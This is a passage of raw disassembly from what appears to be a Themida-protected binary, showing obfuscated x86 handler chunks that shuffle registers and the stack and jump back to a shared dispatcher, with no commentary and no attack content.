loc_59DC30: ; CODE XREF: Themida_:0059B236j
pop ebx
add ecx, 57220Bh
add edx, ecx
jmp loc_593D57
; ---------------------------------------------------------------------------
loc_59DC3E: ; CODE XREF: Themida_:0059E693j
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
mov esp, [esp]
add ebx, 2
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
shl dword ptr [esp], cl
pushf
jmp loc_590A9B
; ---------------------------------------------------------------------------
loc_59DC64: ; CODE XREF: Themida_:005A45B3j
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
mov esp, [esp]
jmp loc_59F568
; ---------------------------------------------------------------------------
loc_59DC74: ; CODE XREF: Themida_:005A26B7j
mov eax, [esp]
jmp loc_5A1C33
; ---------------------------------------------------------------------------
loc_59DC7C: ; CODE XREF: Themida_:0059B4BFj
sub eax, 2846418Ah
sub eax, 46EA3CB8h
sub esp, 4
mov [esp], edx
mov edx, esp
push edi
jmp loc_5994E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59DC94: ; CODE XREF: sub_59390B+64Fj
or eax, 420D6D8Eh
jmp loc_59D7F6
; END OF FUNCTION CHUNK FOR sub_59390B
; =============== S U B R O U T I N E =======================================
sub_59DC9E proc near ; CODE XREF: sub_5A16B7-F421j
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 005959D6 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00596E23 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059FA09 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005A3E8D SIZE 00000025 BYTES
sub esp, 4
mov [esp-4+arg_0], ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp-4+arg_0]
jmp loc_59FA09
sub_59DC9E endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_59DCBA: ; CODE XREF: Themida_:005A11CCj
push ecx
mov ecx, 4
add [esp+4], ecx
pop ecx
mov eax, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
sub esp, 4
mov [esp], ebx
mov ebx, 740D04C9h
push ecx
jmp loc_592515
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A4CDD
loc_59DCEF: ; CODE XREF: sub_5A4CDD-2DD3j
not ecx
jmp loc_5916B9
; ---------------------------------------------------------------------------
loc_59DCF6: ; CODE XREF: sub_5A4CDD-7F32j
or ecx, ebx
pop ebx
xor ecx, 0E1E4AEFh
sub ebp, ecx
mov ecx, [esp+0]
add esp, 4
and eax, ebp
pop ebp
shr eax, 12h
xor eax, ecx
xchg eax, ebx
xor ebx, esi
xor esi, ebx
jmp loc_59728C
; END OF FUNCTION CHUNK FOR sub_5A4CDD
; =============== S U B R O U T I N E =======================================
sub_59DD1C proc near ; CODE XREF: sub_59390B+1FDj
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 005975F4 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059A12F SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005A2A4D SIZE 0000000D BYTES
push ebp
mov ebp, 307617CEh
dec ebp
shr ebp, 1
sub ebp, 14F6C7DEh
sub esi, 771E5989h
sub esi, ebp
add esi, 771E5989h
pop ebp
sub esi, 47853C1Ah
add esi, edi
push ecx
jmp loc_5A2A4D
sub_59DD1C endp
; ---------------------------------------------------------------------------
loc_59DD48: ; CODE XREF: Themida_:005A1F10j
mov ebx, 681261E1h
jmp loc_59C2F2
; ---------------------------------------------------------------------------
loc_59DD52: ; CODE XREF: Themida_:00598D36j
mov eax, esp
add eax, 4
push ebp
mov ebp, 4
add eax, ebp
pop ebp
jmp loc_59A5F1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A4CDD
loc_59DD67: ; CODE XREF: sub_5A4CDD-121B0j
xor ebp, edx
jmp loc_595EE1
; END OF FUNCTION CHUNK FOR sub_5A4CDD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59DD6E: ; CODE XREF: sub_59390B+F225j
push 4CF448C4h
mov ecx, [esp+0Ch+var_C]
jmp loc_591E8A
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59DD7B: ; CODE XREF: Themida_:0059A498j
mov eax, esp
jmp loc_593C5B
; ---------------------------------------------------------------------------
loc_59DD82: ; CODE XREF: Themida_:0059F4CFj
mov [esp], ecx
jmp loc_5A3857
; ---------------------------------------------------------------------------
loc_59DD8A: ; CODE XREF: Themida_:00592B39j
pop ebx
add edi, 7DD413E4h
add edi, ebp
sub edi, 7DD413E4h
pop ebp
jmp loc_5A320F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59DD9F: ; CODE XREF: sub_59390B+A051j
or eax, eax
jz loc_5A378E
push dword ptr [edi+1Ch]
push dword ptr [esp+0]
mov ecx, [esp+4+var_4]
jmp loc_596198
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59DDB5: ; CODE XREF: Themida_:00590C0Aj
mov [esp], edi
mov edi, 1
add esi, edi
pop edi
not esi
xchg ecx, esi
not ecx
jmp loc_59A60D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_599AE1
loc_59DDCB: ; CODE XREF: sub_599AE1+B388j
push eax
push edx
push esi
push 1DC555C6h
pop esi
or esi, 6E4660D7h
push ecx
mov ecx, 1C34409Ah
add ecx, 6393353Dh
xor esi, ecx
pop ecx
push esi
sub [esp+20h+var_20], 2BEA67A4h
pop edx
jmp loc_5A26BC
; END OF FUNCTION CHUNK FOR sub_599AE1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A4CF8
loc_59DDF7: ; CODE XREF: sub_5A4CF8+Aj
mov [esp+8+var_8], esp
jmp loc_595AE2
; END OF FUNCTION CHUNK FOR sub_5A4CF8
; ---------------------------------------------------------------------------
loc_59DDFF: ; CODE XREF: Themida_:005968B7j
or bl, 71h
push edx
mov dl, 5Eh
shl dl, 7
shr dl, 8
jmp loc_59D4FD
; ---------------------------------------------------------------------------
loc_59DE10: ; CODE XREF: Themida_:00594CCDj
mov esi, 4
add ebp, esi
pop esi
xchg ebp, [esp]
mov esp, [esp]
jmp loc_5949B0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59DE23: ; CODE XREF: sub_59390B+8E24j
pop eax
jmp loc_59A0DE
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5995FC
loc_59DE29: ; CODE XREF: sub_5995FC-830Bj
pop ecx
shr bl, 8
and bl, 0D4h
and bl, 86h
or bl, 7Bh
add bl, 0EBh
jmp loc_5967C7
; END OF FUNCTION CHUNK FOR sub_5995FC
; ---------------------------------------------------------------------------
loc_59DE3E: ; CODE XREF: Themida_:00599919j
neg eax
sub eax, 762E0484h
shr eax, 6
sub eax, 3B7B4180h
sub eax, 80C9BC13h
mov ebp, eax
pop eax
jmp loc_59D543
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A51EA
loc_59DE5A: ; CODE XREF: sub_5A51EA-14BCj
push edx
push ebx
mov bh, 0ECh
mov dh, 0AEh
add dh, bh
pop ebx
xchg al, dh
not al
xchg al, dh
push ax
push ebx
mov bh, cl
jmp loc_590E5A
; END OF FUNCTION CHUNK FOR sub_5A51EA
; ---------------------------------------------------------------------------
loc_59DE73: ; CODE XREF: Themida_:00599F1Bj
add eax, esi
jmp loc_591CBB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59DE7A: ; CODE XREF: sub_59390B+1403j
xor cl, bh
jmp loc_5A56DF
; ---------------------------------------------------------------------------
loc_59DE81: ; CODE XREF: sub_59390B+C4Aj
add esp, 4
push ecx
mov ecx, esp
add ecx, 4
push ebx
mov ebx, 44C32C33h
push ebp
mov ebp, 140C5206h
shl ebp, 4
add ebp, 0E2E8114Eh
sub ebx, ebp
pop ebp
xor ebx, 3E0143D5h
push esi
mov esi, 201F22AEh
dec esi
not esi
shl esi, 6
add esi, 584D6431h
or esi, 4BB33FF8h
jmp loc_59CB8F
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595941
loc_59DEC8: ; CODE XREF: sub_595941-3B7Fj
xchg ebx, [esp+4+var_4]
pop esp
push 4EBAh
mov [esp+4+var_4], edx
mov edx, esp
add edx, 4
jmp loc_5940BD
; END OF FUNCTION CHUNK FOR sub_595941
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FCCB
loc_59DEE1: ; CODE XREF: sub_59FCCB+366Ej
add bl, 0BAh
push ecx
jmp loc_599C8D
; END OF FUNCTION CHUNK FOR sub_59FCCB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59DEEA: ; CODE XREF: sub_59390B+EA64j
push 60DEh
mov [esp+10h+var_10], esi
push [esp+10h+var_C]
mov esi, [esp+14h+var_14]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp+18h+var_18]
jmp loc_593E20
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FCCB
loc_59DF10: ; CODE XREF: sub_59FCCB-C5B3j
sub bl, ah
pop eax
push 13E6h
mov [esp+8+var_8], ebx
push edx
mov edx, esp
add edx, 4
jmp loc_59B000
; END OF FUNCTION CHUNK FOR sub_59FCCB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CFD4
loc_59DF29: ; CODE XREF: sub_59CFD4+31A7j
mov ebx, edx
pop edx
xor ebx, 0D6E0E55h
xor eax, ebx
jmp loc_5A421C
; END OF FUNCTION CHUNK FOR sub_59CFD4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59E918
loc_59DF39: ; CODE XREF: sub_59E918-DDE0j
add eax, ebx
sub eax, 7F304BE5h
push edi
mov edi, 165E543Ah
sub edi, 0DB182C4Bh
sub eax, edi
pop edi
mov ebx, [esp+0Ch+var_C]
add esp, 4
push ebx
mov ebx, 2
push 52F5h
mov [esp+10h+var_10], edx
jmp loc_5A20F7
; END OF FUNCTION CHUNK FOR sub_59E918
; ---------------------------------------------------------------------------
loc_59DF68: ; CODE XREF: Themida_:005A595Bj
shr eax, 2
push edi
mov edi, 0C0104085h
add eax, edi
jmp loc_59C9F9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59F8C2
loc_59DF78: ; CODE XREF: sub_59F8C2-B2B5j
pop esi
neg ebx
jmp loc_590BB5
; END OF FUNCTION CHUNK FOR sub_59F8C2
; ---------------------------------------------------------------------------
loc_59DF80: ; CODE XREF: Themida_:00597403j
mov esi, [esp]
add esp, 4
push 0
sub [esp], ebp
pop ebp
xor ebp, 27E42ABh
push edi
jmp loc_596CFA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59DF9E: ; CODE XREF: sub_59390B+113B5j
add ebx, ecx
mov ecx, [esp+18h+var_18]
add esp, 4
xor ebx, [esp+14h+var_14]
xor [esp+14h+var_14], ebx
xor ebx, [esp+14h+var_14]
mov esp, [esp+14h+var_14]
imul cx, ax
push cx
pushf
jmp loc_590A9B
; ---------------------------------------------------------------------------
loc_59DFC1: ; CODE XREF: sub_59390B+41F4j
pop esp
or ebx, 486F28B0h
shl ebx, 3
neg ebx
push edi
mov edi, 31EA24DAh
xchg ebp, edi
jmp sub_5A5219
; ---------------------------------------------------------------------------
loc_59DFDA: ; CODE XREF: sub_59390B+5AB1j
pop ecx
sub ebp, 4
xchg ebp, [esp-0Ch+arg_4]
jmp loc_5A5700
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59DFE6: ; CODE XREF: Themida_:0059BB86j
mov [esp], edx
mov edx, 20256A5h
sub ecx, edx
pop edx
add edx, ecx
pop ecx
push edi
mov edi, 4984290Ah
xchg eax, edi
jmp loc_5A182F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59E000: ; CODE XREF: sub_59390B+93C0j
add esi, ebx
sub esi, 1F9214Eh
pop ebx
add esi, 4
jmp loc_59C7C9
; ---------------------------------------------------------------------------
loc_59E014: ; CODE XREF: sub_59390B+BB43j
add esp, 2
add al, dl
push [esp-0Ah+arg_0+2]
jmp loc_5A4B71
; ---------------------------------------------------------------------------
loc_59E024: ; CODE XREF: sub_59390B-2764j
add esp, 4
jmp loc_5A13FD
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5964B7
loc_59E02C: ; CODE XREF: sub_5964B7-3756j
mov eax, 65C12497h
neg eax
add eax, 65C1249Bh
add ebx, 69277F78h
add ebx, eax
sub ebx, 69277F78h
pop eax
jmp loc_5A2D6E
; END OF FUNCTION CHUNK FOR sub_5964B7
; ---------------------------------------------------------------------------
loc_59E04C: ; CODE XREF: Themida_:00592BA2j
dec esi
xor esi, 71C9010Bh
sub esi, 93EF007Ah
sub edx, 30563FA0h
add edx, esi
jmp loc_5A11D1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591FC5
loc_59E066: ; CODE XREF: sub_591FC5+A34Cj
add esp, 2
push 2119h
jmp loc_59DA0E
; END OF FUNCTION CHUNK FOR sub_591FC5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59F294
loc_59E076: ; CODE XREF: sub_59F294-D2D4j
push eax
mov eax, esp
push edi
mov edi, 4
add eax, edi
mov edi, [esp+8+var_8]
add esp, 4
sub eax, 4
xor eax, [esp+4+var_4]
xor [esp+4+var_4], eax
xor eax, [esp+4+var_4]
mov esp, [esp+4+var_4]
jmp loc_5A087B
; END OF FUNCTION CHUNK FOR sub_59F294
; ---------------------------------------------------------------------------
loc_59E09E: ; CODE XREF: Themida_:0059B5F2j
sub ebx, 6DEA6E3Dh
sub ebx, 0D4F1966h
mov ecx, [esp]
add esp, 4
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
pop esp
inc dword ptr [esp]
pushf
jmp loc_590A9B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59E0C3: ; CODE XREF: sub_59390B-224j
pop ecx
jmp loc_596561
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5936EC
loc_59E0C9: ; CODE XREF: sub_5936EC-F85j
add esp, 4
jmp sub_59931D
; END OF FUNCTION CHUNK FOR sub_5936EC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59E0D1: ; CODE XREF: sub_59390B+52C2j
pop ebx
jmp loc_5932E3
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590BDF
loc_59E0D7: ; CODE XREF: sub_590BDF+A45Bj
add esi, 0A58D9B1Eh
add edx, esi
push [esp+4+var_4]
pop esi
add esp, 4
push edx
jmp loc_5A2D65
; END OF FUNCTION CHUNK FOR sub_590BDF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A75E
loc_59E0EF: ; CODE XREF: sub_59A75E-9954j
push edx
jmp loc_594DB0
; END OF FUNCTION CHUNK FOR sub_59A75E
; ---------------------------------------------------------------------------
push dword ptr [edi+3Ch]
push dword ptr [esp]
push dword ptr [esp]
jmp loc_599735
; ---------------------------------------------------------------------------
loc_59E103: ; CODE XREF: Themida_:005A3F56j
mov esi, [esp]
add esp, 4
push esi
sub esp, 4
mov [esp], eax
jmp loc_599109
; ---------------------------------------------------------------------------
loc_59E115: ; CODE XREF: Themida_:0059CF89j
add esi, 4
xchg esi, [esp]
mov esp, [esp]
and [esp], eax
pushf
jmp loc_597ED6
; ---------------------------------------------------------------------------
loc_59E12A: ; CODE XREF: Themida_:00591541j
sub edx, 74B152A4h
jmp loc_5A130B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59E135: ; CODE XREF: sub_59390B+506Bj
sub edx, 0FFFFFFFFh
jmp loc_59F8FE
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59E140: ; CODE XREF: Themida_:00595EC7j
shl ebx, 5
jmp loc_591256
; ---------------------------------------------------------------------------
loc_59E148: ; CODE XREF: Themida_:00592C90j
pop esp
sub esp, 4
mov [esp], edx
mov edx, 22DB6328h
jmp loc_59721F
; ---------------------------------------------------------------------------
loc_59E159: ; CODE XREF: Themida_:0059FA3Cj
pop ecx
sub eax, 63533064h
jmp loc_5A022F
; ---------------------------------------------------------------------------
loc_59E164: ; CODE XREF: Themida_:00595E84j
neg eax
push ecx
jmp loc_59BD76
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A1E76
loc_59E16C: ; CODE XREF: sub_5A1E76+6j
mov esi, esp
add esi, 4
push ebx
mov ebx, 1AE811F4h
neg ebx
neg ebx
not ebx
add ebx, 1
xor ebx, 0E517EE08h
sub esi, ebx
pop ebx
xchg esi, [esp+4+var_4]
mov esp, [esp+4+var_4]
mov [esp+0], eax
push ebx
mov ebx, 53DB77FEh
push edx
mov edx, 53DB77FAh
sub ebx, edx
pop edx
mov eax, ebx
mov ebx, [esp+4+var_4]
add esp, 4
sub esi, 49BE7CA5h
add esi, 18623B74h
add esi, eax
jmp loc_59FE73
; END OF FUNCTION CHUNK FOR sub_5A1E76
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59E1C2: ; CODE XREF: sub_59390B+6537j
shl dl, 4
add dl, 14h
jmp loc_5924AD
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5936EC
loc_59E1CD: ; CODE XREF: sub_5936EC-1CE9j
push 48D9h
mov [esp+10h+var_10], ebp
push 0A7F277Ah
mov ebp, [esp+14h+var_14]
add esp, 4
jmp loc_59E833
; END OF FUNCTION CHUNK FOR sub_5936EC
; ---------------------------------------------------------------------------
loc_59E1E5: ; CODE XREF: Themida_:005A1EB7j
push edx
jmp loc_598073
; ---------------------------------------------------------------------------
loc_59E1EB: ; CODE XREF: Themida_:005A34E9j
xor eax, 7ECB99BBh
jmp loc_59277B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59E1F5: ; CODE XREF: sub_59390B+23A8j
not ecx
jmp loc_5A59AA
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59E1FC: ; CODE XREF: Themida_:0059CC77j
add ecx, esi
pop esi
jmp loc_59511A
; ---------------------------------------------------------------------------
loc_59E204: ; CODE XREF: Themida_:005A0716j
sub dword ptr [esp+4], 0D9E6E0Ch
add [esp+4], ebp
add dword ptr [esp+4], 0D9E6E0Ch
add dword ptr [esp+4], 40942B4h
mov ebp, [esp]
add esp, 4
mov esi, [esp]
add esp, 4
push ecx
mov ecx, 4
jmp loc_596C16
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594DA8
loc_59E237: ; CODE XREF: sub_594DA8+53F0j
add esi, ebx
jmp loc_5A2495
; END OF FUNCTION CHUNK FOR sub_594DA8
; ---------------------------------------------------------------------------
loc_59E23E: ; CODE XREF: Themida_:00596BA0j
add esp, 4
push 27F9h
mov [esp], ecx
push edi
mov edi, 2
jmp loc_59E44F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59E257: ; CODE XREF: sub_59390B+5923j
mov dx, word ptr [esp+4+var_4]
add esp, 2
sub al, dh
add al, 0A2h
pop edx
sub esp, 4
mov [esp+0], ecx
jmp loc_59FB4B
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59E271: ; CODE XREF: Themida_:0059453Ej
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
sub esp, 4
mov [esp], eax
push esp
jmp loc_5A1CCB
; ---------------------------------------------------------------------------
loc_59E28F: ; CODE XREF: Themida_:0059D674j
mov ebx, 7F32E4Fh
add esi, ebx
jmp loc_59DB93
; ---------------------------------------------------------------------------
loc_59E29B: ; CODE XREF: Themida_:0059B408j
jmp loc_590A9B
; ---------------------------------------------------------------------------
loc_59E2A0: ; CODE XREF: Themida_:005A587Bj
add edx, esi
jmp loc_591E2A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59E2A7: ; CODE XREF: sub_59390B+130Bj
shl esi, 1
neg esi
add esi, 5EE2DFFh
xor edx, esi
jmp loc_593255
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A958
loc_59E2B8: ; CODE XREF: sub_59A958+61F2j
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp+0Ch+var_C]
pop esp
mov [esp+8+var_8], ecx
push 4
pop ecx
add ebx, ecx
pop ecx
jmp loc_593F3B
; END OF FUNCTION CHUNK FOR sub_59A958
; ---------------------------------------------------------------------------
loc_59E2D9: ; CODE XREF: Themida_:005A071Ej
pop dword ptr [esp]
pop esp
xor [esp], eax
jmp loc_590A9B
; ---------------------------------------------------------------------------
loc_59E2E5: ; CODE XREF: Themida_:00598671j
push ax
pushf
jmp loc_590A9B
; ---------------------------------------------------------------------------
loc_59E2ED: ; CODE XREF: Themida_:005A4A38j
xchg esi, [esp]
mov esp, [esp]
xor [esp], eax
pushf
jmp loc_590A9B
; ---------------------------------------------------------------------------
loc_59E2FC: ; CODE XREF: Themida_:00599E25j
push dword ptr [esp]
jmp loc_595C15
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591FE1
loc_59E304: ; CODE XREF: sub_591FE1+C9A1j
push eax
jmp loc_5938BF
; END OF FUNCTION CHUNK FOR sub_591FE1
; ---------------------------------------------------------------------------
loc_59E30A: ; CODE XREF: Themida_:005A4638j
add esi, ebp
pop ebp
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
jmp loc_59A769
; ---------------------------------------------------------------------------
loc_59E31B: ; CODE XREF: Themida_:005A5762j
add edx, 4
xchg edx, [esp]
pop esp
jmp loc_5A2620
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59E32A: ; CODE XREF: sub_59390B+8BC8j
neg edx
jmp loc_5A4C50
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59E331: ; CODE XREF: Themida_:0059D3AAj
mov dl, bh
jmp loc_59EA1B
; ---------------------------------------------------------------------------
loc_59E338: ; CODE XREF: Themida_:00598146j
pop ebp
push edx
mov edx, 0E051967h
or edx, 4ED065E9h
shl edx, 6
neg edx
jmp loc_59FDFB
; ---------------------------------------------------------------------------
mov ax, [esp]
push esi
mov esi, esp
add esi, 4
sub esi, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
mov [esp], ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xor ebp, [esp]
xor [esp], ebp
jmp loc_59D9D6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59E38A: ; CODE XREF: sub_59390B+15B2j
push edx
mov edx, 79C035Bh
jmp sub_5964AF
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59E395: ; CODE XREF: Themida_:005A4814j
and ecx, 1D857D13h
jmp loc_591CFC
; ---------------------------------------------------------------------------
loc_59E3A0: ; CODE XREF: Themida_:00598E73j
xchg esi, [esp]
jmp loc_59B052
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CFD4
loc_59E3A8: ; CODE XREF: sub_59CFD4-704Dj
push esp
pop eax
add eax, 4
push edx
jmp loc_5A5850
; END OF FUNCTION CHUNK FOR sub_59CFD4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591FE1
loc_59E3B5: ; CODE XREF: sub_591FE1+62A9j
push edx
mov edx, 4
jmp loc_5936B8
; END OF FUNCTION CHUNK FOR sub_591FE1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59E918
loc_59E3C0: ; CODE XREF: sub_59E918+5465j
push edi
mov edi, esp
add edi, 4
add edi, 4
jmp loc_5A1FAF
; END OF FUNCTION CHUNK FOR sub_59E918
; ---------------------------------------------------------------------------
loc_59E3D4: ; CODE XREF: Themida_:005A3CFDj
mov ax, [esp]
jmp loc_5A30DF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CFD4
loc_59E3DD: ; CODE XREF: sub_59CFD4-A8EEj
sub eax, 2DBA5A7Ah
jmp loc_595F7A
; END OF FUNCTION CHUNK FOR sub_59CFD4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A4CDD
loc_59E3E7: ; CODE XREF: sub_5A4CDD-BD02j
push 23BC2158h
mov edx, [esp+18h+var_18]
sub esp, 4
mov [esp+0], esi
mov esi, esp
add esi, 4
push ebx
jmp loc_592087
; END OF FUNCTION CHUNK FOR sub_5A4CDD
; ---------------------------------------------------------------------------
loc_59E406: ; CODE XREF: Themida_:005977CDj
add ecx, 39611DDEh
add ecx, ebx
sub ecx, 39611DDEh
jmp loc_5A59E9
; ---------------------------------------------------------------------------
loc_59E419: ; CODE XREF: Themida_:005961D0j
neg ecx
shr ecx, 7
inc ecx
sub ecx, 10D2593Ch
jmp loc_596D95
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595949
loc_59E42A: ; CODE XREF: sub_595949-35Fj
pop ebx
mov ebx, edi
pop edi
add ebp, ebx
jmp loc_592125
; END OF FUNCTION CHUNK FOR sub_595949
; ---------------------------------------------------------------------------
loc_59E435: ; CODE XREF: Themida_:0059627Dj
mov esp, [esp]
push eax
mov eax, esp
jmp loc_5A56A0
; ---------------------------------------------------------------------------
loc_59E440: ; CODE XREF: Themida_:00595C84j
pop esi
shr ebp, 6
xor ebp, 1B122E22h
jmp loc_5A066D
; ---------------------------------------------------------------------------
loc_59E44F: ; CODE XREF: Themida_:0059E252j
mov ecx, edi
jmp loc_595D46
; ---------------------------------------------------------------------------
loc_59E456: ; CODE XREF: Themida_:005976E5j
xor edi, 7B6433DFh
add eax, edi
pop edi
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], esp
push 68A9h
jmp loc_5A33BD
; ---------------------------------------------------------------------------
loc_59E473: ; CODE XREF: Themida_:0059F43Fj
mov [esp], esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
jmp loc_5963F0
; ---------------------------------------------------------------------------
loc_59E48C: ; CODE XREF: Themida_:00597C19j
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
sub edx, 0D8331D0h
mov eax, [esp]
add esp, 4
xor eax, edx
mov edx, [esp]
add esp, 4
xor ebx, eax
pop small word ptr [eax]
jmp loc_590A9B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59F8C2
loc_59E4BF: ; CODE XREF: sub_59F8C2+2j
pop ebx
add ebx, 4
sub esp, 4
mov [esp+8+var_8], ebp
push edi
mov edi, 39FE146Dh
jmp loc_59DA84
; END OF FUNCTION CHUNK FOR sub_59F8C2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59E4DA: ; CODE XREF: sub_59390B+E090j
mov eax, [esp+0Ch+var_C]
add esp, 4
jmp loc_598586
; ---------------------------------------------------------------------------
loc_59E4E8: ; CODE XREF: sub_59390B+7258j
add eax, 2
xor eax, [esp-8+arg_0]
xor [esp-8+arg_0], eax
xor eax, [esp-8+arg_0]
pop esp
mov ax, word ptr [esp-0Ch+arg_4]
push 3945h
mov [esp-8+arg_0], esi
sub esp, 4
mov [esp+0], esp
add dword ptr [esp+0], 4
jmp loc_59899B
; END OF FUNCTION CHUNK FOR sub_59390B
; =============== S U B R O U T I N E =======================================
sub_59E510 proc near ; CODE XREF: sub_59390B+6E98j
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebx
mov ebx, 4
add eax, ebx
mov ebx, [esp+4+var_4]
sub esp, 4
mov [esp+8+var_8], ebp
mov ebp, esp
push eax
mov eax, 4
add ebp, eax
pop eax
add ebp, 4
xchg ebp, [esp+8+var_8]
pop esp
xchg eax, [esp+4+var_4]
pop esp
dec dword ptr [esp+0]
pushf
jmp loc_590A9B
sub_59E510 endp
; ---------------------------------------------------------------------------
loc_59E540: ; CODE XREF: Themida_:0059C3E8j
pop ebp
not edx
push edi
mov edi, 0F4C2EB35h
jmp loc_599BCD
; ---------------------------------------------------------------------------
loc_59E54E: ; CODE XREF: Themida_:005960ABj
sub esp, 4
mov [esp], edx
sub esp, 4
mov [esp], ecx
jmp loc_5A2374
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591745
loc_59E55F: ; CODE XREF: sub_591745+8F6Cj
xor edx, ecx
pop ecx
jmp loc_591FB2
; END OF FUNCTION CHUNK FOR sub_591745
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59333E
loc_59E567: ; CODE XREF: sub_59333E+8908j
pop ebx
inc ecx
sub esp, 4
mov [esp+0Ch+var_C], edx
jmp loc_594A6A
; END OF FUNCTION CHUNK FOR sub_59333E
